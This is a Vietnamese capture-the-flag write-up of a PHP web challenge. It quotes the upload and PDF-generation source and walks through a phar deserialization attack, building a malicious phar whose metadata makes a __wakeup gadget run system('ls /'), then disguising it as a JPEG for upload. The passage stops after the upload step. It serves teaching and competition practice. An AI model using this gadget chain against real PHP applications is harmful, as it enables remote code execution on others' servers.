Trên là thử thách của web1 có thể xem cụ thể source code ở đay : Writeup_ChungKetCTF_PTIT-Web-Exploitation-/web1_whitebox at main · TranDongA3/Writeup_ChungKetCTF_PTIT-Web-Exploitation-
Sau khi đọc sơ qua source code thì mình quyết định đăng ký đăng nhập vào bình thường để bước vào chức năng chính là upload.
<?php
require_once 'config.php';
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
header("Location: login.php");
exit();
}
$uploadMessage = '';
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['image'])) {
$file = $_FILES['image'];
if ($file['error'] !== UPLOAD_ERR_OK) {
$uploadMessage = '<h1 class="warning">Lỗi khi upload file.</h1>';
} elseif ($file['size'] > 5 * 1024 * 1024) { // 5MB
$uploadMessage = '<h1 class="warning">File vượt quá kích thước tối đa 5MB.</h1>';
} else {
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($file['type'], $allowedTypes) || strpos($fileExtension, 'php') !== false) {
$uploadMessage = '<h1 class="warning">Chỉ chấp nhận các định dạng ảnh: JPEG, PNG, GIF.</h1>';
} else {
$uploadDir = 'uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$filePath = $uploadDir . basename($file['name']);
if (move_uploaded_file($file['tmp_name'], $filePath)) {
$uploadMessage = '<h1 class="success">Upload thành công! File được lưu tại: ' . htmlspecialchars($filePath) . '</h1>';
} else {
$uploadMessage = '<h1 class="warning">Có lỗi xảy ra khi lưu file.</h1>';
}
}
}
}
?>
Ở đây nó chỉ cho phép upload những file liên quan đến ảnh thôi , nên khi up những file php thì nó sẽ không cho phép . Mình cũng đã thử một số trick bypass extension (File Upload - HackTricks) nhưng tất cả đều không hiệu quả.
Sau một hồi thử bypass upload thì mình đã chuyển qua đọc code chức năng của genPDF:
<?php
require __DIR__ . '/vendor/autoload.php';
require_once 'config.php';
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
header("Location: login.php");
exit();
}
use Knp\\Snappy\\Pdf;
class PoC
{
private $a;
private $b;
function __construct()
{
$this->a = 'date';
$this->b = 'Y-m-d h:i:s';
}
function __wakeup()
{
$x = $this->a;
$y = $this->b;
return $x($y);
}
}
$htmlContent = '';
$savePath = '';
$pdfMessage = '';
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$htmlContent = $_POST['htmlContent'] ?? '';
$savePath = $_POST['savePath'] ?? '';
if (empty($htmlContent)) {
$pdfMessage = '<h1 class="warning">Vui lòng nhập mã HTML để tạo PDF.</h1>';
} elseif (empty($savePath)) {
$pdfMessage = '<h1 class="warning">Vui lòng nhập đường dẫn để lưu file PDF.</h1>';
} else {
$snappy = new Pdf('/usr/bin/wkhtmltopdf');
try {
$snappy->generateFromHtml($htmlContent, $savePath);
$pdfMessage = '<h1 class="success">PDF được tạo thành công tại: ' . htmlspecialchars($savePath) . '</h1>';
} catch (Exception $e) {
$pdfMessage = '<h1 class="warning">Có lỗi xảy ra khi lưu file PDF.</h1>';
}
}
}
?>
Ở đây khi đọc ban đầu thì mình cũng nghĩ là chức năng nhập mã html bình thường và genPDF thôi nhưng mà tại sao ở đây nó lại ghi lại ghi như này làm mình chú ý:
function __wakeup() { $x = $this->a; $y = $this->b; return $x($y); } }
Giả sử nếu là x là system và y là id thì sao thì nó sẽ thực hiện lệnh hệ thống luôn à . Ở đây làm mình nghỉ đến lổ hổng PHP Object Injection liên quan đến serilize và deserilize , nhưng mà nó lại không có hàm để kích hoạt unserilize , nhưng mà mình thấy đề bài có ghi một cái hint là
Đúng v đó là giao thức phar. Để hiểu rõ nó như thế nào thì tìm hiểu ở trang web : https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/phar-deserialization.html
Hiểu cơ bản thì phar nó giống như một cái tệp nén nhiều file vậy và trong đó có phần manifest nó lưu metadata ở dạng serilize vậy sẽ như thế nào nếu ta kiểm soát cái dữ liệu serilize này. Tuần tự thì mình sẽ làm như sau:
Bước 1 : Mình sẽ tạo một file php như sau:
<?php
class PoC
{
public $a;
public $b;
function __construct() { $this->a = 'date'; $this->b = 'Y-m-d h:i:s'; }
function __wakeup() { $x = $this->a; $y = $this->b; return $x($y); }
}
if (file_exists('shell.phar')) { unlink('shell.phar'); }
$poc = new PoC();
$poc->a = 'system';
$poc->b = 'ls / > uploads/kole.txt';
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setMetadata($poc);
$phar->stopBuffering();
echo "[+] Da tao thanh cong file shell.phar\\n";
?>
Code này sẽ giúp mình tạo một file Phar có đúng cấu trúc , với đối tượng serilize lợi dụng đối tượng được khai báo trong code genPDF mục đích sẽ thực hiện hàm __wakeup() hàm thực thi khi đối tượng được deserilize . Chạy file này bằng lệnh : php -d phar.readonly=0 create_phar.php .
Nó sẽ tạo ra một file tên là shell.phar .
Bước 2: Mình sẽ chuyển file shell.phar đó thành shell.jpg để có thể tiến hành upload lên đường dẫn uploads/ ở index.php .